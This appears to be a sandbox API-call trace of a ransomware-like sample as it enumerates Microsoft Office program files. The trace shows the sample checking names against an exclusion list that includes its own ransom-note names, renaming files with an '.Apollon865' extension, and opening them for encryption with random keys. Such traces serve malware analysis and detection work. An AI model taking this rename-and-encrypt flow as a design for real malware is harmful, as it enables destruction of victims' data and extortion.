	[0066.280] lstrcmpiW (lpString1="iption.xsd", lpString2="Apollon865") returned 1
	[0066.280] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="SUMINFO.DLL" | out: lpString1="SUMINFO.DLL") returned="SUMINFO.DLL"
	[0066.280] lstrlenW (lpString="SUMINFO.DLL") returned 11
	[0066.281] lstrlenW (lpString="Apollon865") returned 10
	[0066.281] lstrcmpiW (lpString1="UMINFO.DLL", lpString2="Apollon865") returned 1
	[0066.281] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TaxonomyControl.dll" | out: lpString1="TaxonomyControl.dll") returned="TaxonomyControl.dll"
	[0066.281] lstrlenW (lpString="TaxonomyControl.dll") returned 19
	[0066.281] lstrlenW (lpString="Apollon865") returned 10
	[0066.281] lstrcmpiW (lpString1="ontrol.dll", lpString2="Apollon865") returned 1
	[0066.281] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="THOCR.PSP" | out: lpString1="THOCR.PSP") returned="THOCR.PSP"
	[0066.281] lstrlenW (lpString="THOCR.PSP") returned 9
	[0066.281] lstrlenW (lpString="Apollon865") returned 10
	[0066.281] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="THOCRAPI.DLL" | out: lpString1="THOCRAPI.DLL") returned="THOCRAPI.DLL"
	[0066.281] lstrlenW (lpString="THOCRAPI.DLL") returned 12
	[0066.281] lstrlenW (lpString="Apollon865") returned 10
	[0066.281] lstrcmpiW (lpString1="OCRAPI.DLL", lpString2="Apollon865") returned 1
	[0066.281] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TIMESOLN.DLL" | out: lpString1="TIMESOLN.DLL") returned="TIMESOLN.DLL"
	[0066.281] lstrlenW (lpString="TIMESOLN.DLL") returned 12
	[0066.281] lstrlenW (lpString="Apollon865") returned 10
	[0066.281] lstrcmpiW (lpString1="MESOLN.DLL", lpString2="Apollon865") returned 1
	[0066.281] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TLIMPT.EXE" | out: lpString1="TLIMPT.EXE") returned="TLIMPT.EXE"
	[0066.281] lstrlenW (lpString="TLIMPT.EXE") returned 10
	[0066.281] lstrlenW (lpString="Apollon865") returned 10
	[0066.282] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TWCUTCHR.DLL" | out: lpString1="TWCUTCHR.DLL") returned="TWCUTCHR.DLL"
	[0066.282] lstrlenW (lpString="TWCUTCHR.DLL") returned 12
	[0066.282] lstrlenW (lpString="Apollon865") returned 10
	[0066.282] lstrcmpiW (lpString1="CUTCHR.DLL", lpString2="Apollon865") returned 1
	[0066.282] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TWCUTLIN.DLL" | out: lpString1="TWCUTLIN.DLL") returned="TWCUTLIN.DLL"
	[0066.282] lstrlenW (lpString="TWCUTLIN.DLL") returned 12
	[0066.282] lstrlenW (lpString="Apollon865") returned 10
	[0066.282] lstrcmpiW (lpString1="CUTLIN.DLL", lpString2="Apollon865") returned 1
	[0066.282] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TWLAY32.DLL" | out: lpString1="TWLAY32.DLL") returned="TWLAY32.DLL"
	[0066.282] lstrlenW (lpString="TWLAY32.DLL") returned 11
	[0066.282] lstrlenW (lpString="Apollon865") returned 10
	[0066.282] lstrcmpiW (lpString1="WLAY32.DLL", lpString2="Apollon865") returned 1
	[0066.282] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TWORIENT.DLL" | out: lpString1="TWORIENT.DLL") returned="TWORIENT.DLL"
	[0066.282] lstrlenW (lpString="TWORIENT.DLL") returned 12
	[0066.282] lstrlenW (lpString="Apollon865") returned 10
	[0066.282] lstrcmpiW (lpString1="ORIENT.DLL", lpString2="Apollon865") returned 1
	[0066.282] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TWRECC.DLL" | out: lpString1="TWRECC.DLL") returned="TWRECC.DLL"
	[0066.282] lstrlenW (lpString="TWRECC.DLL") returned 10
	[0066.282] lstrlenW (lpString="Apollon865") returned 10
	[0066.282] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TWRECE.DLL" | out: lpString1="TWRECE.DLL") returned="TWRECE.DLL"
	[0066.282] lstrlenW (lpString="TWRECE.DLL") returned 10
	[0066.282] lstrlenW (lpString="Apollon865") returned 10
	[0066.283] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TWRECS.DLL" | out: lpString1="TWRECS.DLL") returned="TWRECS.DLL"
	[0066.283] lstrlenW (lpString="TWRECS.DLL") returned 10
	[0066.283] lstrlenW (lpString="Apollon865") returned 10
	[0066.283] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="TWSTRUCT.DLL" | out: lpString1="TWSTRUCT.DLL") returned="TWSTRUCT.DLL"
	[0066.283] lstrlenW (lpString="TWSTRUCT.DLL") returned 12
	[0066.283] lstrlenW (lpString="Apollon865") returned 10
	[0066.283] lstrcmpiW (lpString1="STRUCT.DLL", lpString2="Apollon865") returned 1
	[0066.283] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="UML.DLL" | out: lpString1="UML.DLL") returned="UML.DLL"
	[0066.283] lstrlenW (lpString="UML.DLL") returned 7
	[0066.283] lstrlenW (lpString="Apollon865") returned 10
	[0066.283] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="UMLSYS.DLL" | out: lpString1="UMLSYS.DLL") returned="UMLSYS.DLL"
	[0066.283] lstrlenW (lpString="UMLSYS.DLL") returned 10
	[0066.283] lstrlenW (lpString="Apollon865") returned 10
	[0066.283] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="URLREDIR.DLL" | out: lpString1="URLREDIR.DLL") returned="URLREDIR.DLL"
	[0066.283] lstrlenW (lpString="URLREDIR.DLL") returned 12
	[0066.283] lstrlenW (lpString="Apollon865") returned 10
	[0066.283] lstrcmpiW (lpString1="LREDIR.DLL", lpString2="Apollon865") returned 1
	[0066.283] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VAOSOLX.DLL" | out: lpString1="VAOSOLX.DLL") returned="VAOSOLX.DLL"
	[0066.283] lstrlenW (lpString="VAOSOLX.DLL") returned 11
	[0066.283] lstrlenW (lpString="Apollon865") returned 10
	[0066.283] lstrcmpiW (lpString1="AOSOLX.DLL", lpString2="Apollon865") returned -1
	[0066.284] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VBLZ0007.TLL" | out: lpString1="VBLZ0007.TLL") returned="VBLZ0007.TLL"
	[0066.284] lstrlenW (lpString="VBLZ0007.TLL") returned 12
	[0066.284] lstrlenW (lpString="Apollon865") returned 10
	[0066.284] lstrcmpiW (lpString1="LZ0007.TLL", lpString2="Apollon865") returned 1
	[0066.284] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VBLZ0009.TLL" | out: lpString1="VBLZ0009.TLL") returned="VBLZ0009.TLL"
	[0066.284] lstrlenW (lpString="VBLZ0009.TLL") returned 12
	[0066.284] lstrlenW (lpString="Apollon865") returned 10
	[0066.284] lstrcmpiW (lpString1="LZ0009.TLL", lpString2="Apollon865") returned 1
	[0066.284] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VBLZ000C.TLL" | out: lpString1="VBLZ000C.TLL") returned="VBLZ000C.TLL"
	[0066.284] lstrlenW (lpString="VBLZ000C.TLL") returned 12
	[0066.284] lstrlenW (lpString="Apollon865") returned 10
	[0066.284] lstrcmpiW (lpString1="LZ000C.TLL", lpString2="Apollon865") returned 1
	[0066.284] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VBLZ0011.TLL" | out: lpString1="VBLZ0011.TLL") returned="VBLZ0011.TLL"
	[0066.284] lstrlenW (lpString="VBLZ0011.TLL") returned 12
	[0066.284] lstrlenW (lpString="Apollon865") returned 10
	[0066.284] lstrcmpiW (lpString1="LZ0011.TLL", lpString2="Apollon865") returned 1
	[0066.284] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VBS2EXCL.XSL" | out: lpString1="VBS2EXCL.XSL") returned="VBS2EXCL.XSL"
	[0066.284] lstrlenW (lpString="VBS2EXCL.XSL") returned 12
	[0066.284] lstrlenW (lpString="Apollon865") returned 10
	[0066.284] lstrcmpiW (lpString1="S2EXCL.XSL", lpString2="Apollon865") returned 1
	[0066.284] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VBS2WORD.XSL" | out: lpString1="VBS2WORD.XSL") returned="VBS2WORD.XSL"
	[0066.284] lstrlenW (lpString="VBS2WORD.XSL") returned 12
	[0066.284] lstrlenW (lpString="Apollon865") returned 10
	[0066.285] lstrcmpiW (lpString1="S2WORD.XSL", lpString2="Apollon865") returned 1
	[0066.285] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VERBWIND.DLL" | out: lpString1="VERBWIND.DLL") returned="VERBWIND.DLL"
	[0066.285] lstrlenW (lpString="VERBWIND.DLL") returned 12
	[0066.285] lstrlenW (lpString="Apollon865") returned 10
	[0066.285] lstrcmpiW (lpString1="RBWIND.DLL", lpString2="Apollon865") returned 1
	[0066.285] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VIEWMODL.DLL" | out: lpString1="VIEWMODL.DLL") returned="VIEWMODL.DLL"
	[0066.285] lstrlenW (lpString="VIEWMODL.DLL") returned 12
	[0066.285] lstrlenW (lpString="Apollon865") returned 10
	[0066.285] lstrcmpiW (lpString1="EWMODL.DLL", lpString2="Apollon865") returned 1
	[0066.285] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISBRGR.DLL" | out: lpString1="VISBRGR.DLL") returned="VISBRGR.DLL"
	[0066.285] lstrlenW (lpString="VISBRGR.DLL") returned 11
	[0066.285] lstrlenW (lpString="Apollon865") returned 10
	[0066.285] lstrcmpiW (lpString1="ISBRGR.DLL", lpString2="Apollon865") returned 1
	[0066.285] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISCOLOR.DLL" | out: lpString1="VISCOLOR.DLL") returned="VISCOLOR.DLL"
	[0066.285] lstrlenW (lpString="VISCOLOR.DLL") returned 12
	[0066.285] lstrlenW (lpString="Apollon865") returned 10
	[0066.285] lstrcmpiW (lpString1="SCOLOR.DLL", lpString2="Apollon865") returned 1
	[0066.286] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISDLGU.DLL" | out: lpString1="VISDLGU.DLL") returned="VISDLGU.DLL"
	[0066.286] lstrlenW (lpString="VISDLGU.DLL") returned 11
	[0066.286] lstrlenW (lpString="Apollon865") returned 10
	[0066.286] lstrcmpiW (lpString1="ISDLGU.DLL", lpString2="Apollon865") returned 1
	[0066.286] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISGRF.DLL" | out: lpString1="VISGRF.DLL") returned="VISGRF.DLL"
	[0066.286] lstrlenW (lpString="VISGRF.DLL") returned 10
	[0066.286] lstrlenW (lpString="Apollon865") returned 10
	[0066.286] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISICON.EXE" | out: lpString1="VISICON.EXE") returned="VISICON.EXE"
	[0066.286] lstrlenW (lpString="VISICON.EXE") returned 11
	[0066.286] lstrlenW (lpString="Apollon865") returned 10
	[0066.286] lstrcmpiW (lpString1="ISICON.EXE", lpString2="Apollon865") returned 1
	[0066.286] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Visio Content" | out: lpString1="Visio Content") returned="Visio Content"
	[0066.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fea8
	[0066.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591640
	[0066.286] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59feb0 | out: ListHead=0x5b76b0, ListEntry=0x59feb0) returned 0x59fe90
	[0066.286] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b97800, ftCreationTime.dwHighDateTime=0x1cbd8c9, ftLastAccessTime.dwLowDateTime=0xd11a8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x45b97800, ftLastWriteTime.dwHighDateTime=0x1cbd8c9, nFileSizeHigh=0x0, nFileSizeLow=0x16a760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1
	[0066.286] lstrcmpiW (lpString1="VISIO.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.286] lstrcmpiW (lpString1="VISIO.EXE", lpString2="Apollon865.txt.exe") returned 1
	[0066.286] lstrcmpiW (lpString1="VISIO.EXE", lpString2=".") returned 1
	[0066.286] lstrcmpiW (lpString1="VISIO.EXE", lpString2="..") returned 1
	[0066.286] lstrcmpiW (lpString1="VISIO.EXE", lpString2="windows") returned -1
	[0066.286] lstrcmpiW (lpString1="VISIO.EXE", lpString2="bootmgr") returned 1
	[0066.286] lstrcmpiW (lpString1="VISIO.EXE", lpString2="temp") returned 1
	[0066.286] lstrcmpiW (lpString1="VISIO.EXE", lpString2="pagefile.sys") returned 1
	[0066.286] lstrcmpiW (lpString1="VISIO.EXE", lpString2="boot") returned 1
	[0066.286] lstrcmpiW (lpString1="VISIO.EXE", lpString2="ids.txt") returned 1
	[0066.287] lstrcmpiW (lpString1="VISIO.EXE", lpString2="ntuser.dat") returned 1
	[0066.287] lstrcmpiW (lpString1="VISIO.EXE", lpString2="perflogs") returned 1
	[0066.287] lstrcmpiW (lpString1="VISIO.EXE", lpString2="MSBuild") returned 1
	[0066.287] lstrlenW (lpString="VISIO.EXE") returned 9
	[0066.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content") returned 56
	[0066.287] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISIO.EXE" | out: lpString1="VISIO.EXE") returned="VISIO.EXE"
	[0066.287] lstrlenW (lpString="VISIO.EXE") returned 9
	[0066.287] lstrlenW (lpString="Apollon865") returned 10
	[0066.287] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="visio.exe.manifest" | out: lpString1="visio.exe.manifest") returned="visio.exe.manifest"
	[0066.287] lstrlenW (lpString="visio.exe.manifest") returned 18
	[0066.287] lstrlenW (lpString="Apollon865") returned 10
	[0066.287] lstrcmpiW (lpString1="e.manifest", lpString2="Apollon865") returned 1
	[0066.287] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VisioCustom.propdesc" | out: lpString1="VisioCustom.propdesc") returned="VisioCustom.propdesc"
	[0066.287] lstrlenW (lpString="VisioCustom.propdesc") returned 20
	[0066.287] lstrlenW (lpString="Apollon865") returned 10
	[0066.287] lstrcmpiW (lpString1="m.propdesc", lpString2="Apollon865") returned 1
	[0066.287] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISLIB.DLL" | out: lpString1="VISLIB.DLL") returned="VISLIB.DLL"
	[0066.287] lstrlenW (lpString="VISLIB.DLL") returned 10
	[0066.287] lstrlenW (lpString="Apollon865") returned 10
	[0066.287] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISOCX.DLL" | out: lpString1="VISOCX.DLL") returned="VISOCX.DLL"
	[0066.287] lstrlenW (lpString="VISOCX.DLL") returned 10
	[0066.287] lstrlenW (lpString="Apollon865") returned 10
	[0066.287] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISSHE.DLL" | out: lpString1="VISSHE.DLL") returned="VISSHE.DLL"
	[0066.288] lstrlenW (lpString="VISSHE.DLL") returned 10
	[0066.288] lstrlenW (lpString="Apollon865") returned 10
	[0066.288] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISSUPP.DLL" | out: lpString1="VISSUPP.DLL") returned="VISSUPP.DLL"
	[0066.288] lstrlenW (lpString="VISSUPP.DLL") returned 11
	[0066.288] lstrlenW (lpString="Apollon865") returned 10
	[0066.288] lstrcmpiW (lpString1="ISSUPP.DLL", lpString2="Apollon865") returned 1
	[0066.288] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISUTILS.DLL" | out: lpString1="VISUTILS.DLL") returned="VISUTILS.DLL"
	[0066.288] lstrlenW (lpString="VISUTILS.DLL") returned 12
	[0066.288] lstrlenW (lpString="Apollon865") returned 10
	[0066.288] lstrcmpiW (lpString1="SUTILS.DLL", lpString2="Apollon865") returned 1
	[0066.288] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISWEB.DLL" | out: lpString1="VISWEB.DLL") returned="VISWEB.DLL"
	[0066.288] lstrlenW (lpString="VISWEB.DLL") returned 10
	[0066.288] lstrlenW (lpString="Apollon865") returned 10
	[0066.288] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VISXDATA.DLL" | out: lpString1="VISXDATA.DLL") returned="VISXDATA.DLL"
	[0066.288] lstrlenW (lpString="VISXDATA.DLL") returned 12
	[0066.288] lstrlenW (lpString="Apollon865") returned 10
	[0066.288] lstrcmpiW (lpString1="SXDATA.DLL", lpString2="Apollon865") returned 1
	[0066.288] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VPREVIEW.EXE" | out: lpString1="VPREVIEW.EXE") returned="VPREVIEW.EXE"
	[0066.288] lstrlenW (lpString="VPREVIEW.EXE") returned 12
	[0066.288] lstrlenW (lpString="Apollon865") returned 10
	[0066.288] lstrcmpiW (lpString1="REVIEW.EXE", lpString2="Apollon865") returned 1
	[0066.289] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VVIEWDWG.DLL" | out: lpString1="VVIEWDWG.DLL") returned="VVIEWDWG.DLL"
	[0066.289] lstrlenW (lpString="VVIEWDWG.DLL") returned 12
	[0066.289] lstrlenW (lpString="Apollon865") returned 10
	[0066.289] lstrcmpiW (lpString1="IEWDWG.DLL", lpString2="Apollon865") returned 1
	[0066.289] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="VVIEWER.DLL" | out: lpString1="VVIEWER.DLL") returned="VVIEWER.DLL"
	[0066.289] lstrlenW (lpString="VVIEWER.DLL") returned 11
	[0066.289] lstrlenW (lpString="Apollon865") returned 10
	[0066.289] lstrcmpiW (lpString1="VIEWER.DLL", lpString2="Apollon865") returned 1
	[0066.289] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="WINPROJ.EXE" | out: lpString1="WINPROJ.EXE") returned="WINPROJ.EXE"
	[0066.289] lstrlenW (lpString="WINPROJ.EXE") returned 11
	[0066.289] lstrlenW (lpString="Apollon865") returned 10
	[0066.289] lstrcmpiW (lpString1="INPROJ.EXE", lpString2="Apollon865") returned 1
	[0066.289] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="winproj.exe.manifest" | out: lpString1="winproj.exe.manifest") returned="winproj.exe.manifest"
	[0066.289] lstrlenW (lpString="winproj.exe.manifest") returned 20
	[0066.289] lstrlenW (lpString="Apollon865") returned 10
	[0066.289] lstrcmpiW (lpString1="e.manifest", lpString2="Apollon865") returned 1
	[0066.289] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="WINWORD.EXE" | out: lpString1="WINWORD.EXE") returned="WINWORD.EXE"
	[0066.289] lstrlenW (lpString="WINWORD.EXE") returned 11
	[0066.289] lstrlenW (lpString="Apollon865") returned 10
	[0066.289] lstrcmpiW (lpString1="INWORD.EXE", lpString2="Apollon865") returned 1
	[0066.289] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Wordcnv.dll" | out: lpString1="Wordcnv.dll") returned="Wordcnv.dll"
	[0066.290] lstrlenW (lpString="Wordcnv.dll") returned 11
	[0066.290] lstrlenW (lpString="Apollon865") returned 10
	[0066.290] lstrcmpiW (lpString1="ordcnv.dll", lpString2="Apollon865") returned 1
	[0066.290] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Wordcnvpxy.cnv" | out: lpString1="Wordcnvpxy.cnv") returned="Wordcnvpxy.cnv"
	[0066.290] lstrlenW (lpString="Wordcnvpxy.cnv") returned 14
	[0066.290] lstrlenW (lpString="Apollon865") returned 10
	[0066.290] lstrcmpiW (lpString1="cnvpxy.cnv", lpString2="Apollon865") returned 1
	[0066.290] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv.Apollon865") returned 68
	[0066.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvpxy.cnv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvpxy.cnv.apollon865"), dwFlags=0x1) returned 1
	[0066.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvpxy.cnv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.292] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=30048) returned 1
	[0066.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.292] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.293] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.293] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.293] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7860, lpName=0x0) returned 0x150
	[0066.294] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7860) returned 0x100000
	[0066.296] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.297] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.297] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.298] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.298] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.298] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.298] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.298] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.298] CloseHandle (hObject=0x150) returned 1
	[0066.298] CloseHandle (hObject=0x118) returned 1
	[0066.299] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.299] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.299] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.299] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x62f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wordcnvr.dll", cAlternateFileName="")) returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="Apollon865.txt.exe") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2=".") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="..") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="windows") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="bootmgr") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="temp") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="pagefile.sys") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="boot") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="ids.txt") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="ntuser.dat") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="perflogs") returned 1
	[0066.299] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="MSBuild") returned 1
	[0066.299] lstrlenW (lpString="Wordcnvr.dll") returned 12
	[0066.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv") returned 57
	[0066.299] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Wordcnvr.dll" | out: lpString1="Wordcnvr.dll") returned="Wordcnvr.dll"
	[0066.299] lstrlenW (lpString="Wordcnvr.dll") returned 12
	[0066.299] lstrlenW (lpString="Apollon865") returned 10
	[0066.299] lstrcmpiW (lpString1="rdcnvr.dll", lpString2="Apollon865") returned 1
	[0066.300] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Wordconv.exe" | out: lpString1="Wordconv.exe") returned="Wordconv.exe"
	[0066.300] lstrlenW (lpString="Wordconv.exe") returned 12
	[0066.300] lstrlenW (lpString="Apollon865") returned 10
	[0066.300] lstrcmpiW (lpString1="rdconv.exe", lpString2="Apollon865") returned 1
	[0066.300] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="WORDICON.EXE" | out: lpString1="WORDICON.EXE") returned="WORDICON.EXE"
	[0066.300] lstrlenW (lpString="WORDICON.EXE") returned 12
	[0066.300] lstrlenW (lpString="Apollon865") returned 10
	[0066.300] lstrcmpiW (lpString1="RDICON.EXE", lpString2="Apollon865") returned 1
	[0066.300] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="WORDIRM.XML" | out: lpString1="WORDIRM.XML") returned="WORDIRM.XML"
	[0066.300] lstrlenW (lpString="WORDIRM.XML") returned 11
	[0066.300] lstrlenW (lpString="Apollon865") returned 10
	[0066.300] lstrcmpiW (lpString1="ORDIRM.XML", lpString2="Apollon865") returned 1
	[0066.300] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML.Apollon865") returned 65
	[0066.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.302] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79676) returned 1
	[0066.302] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
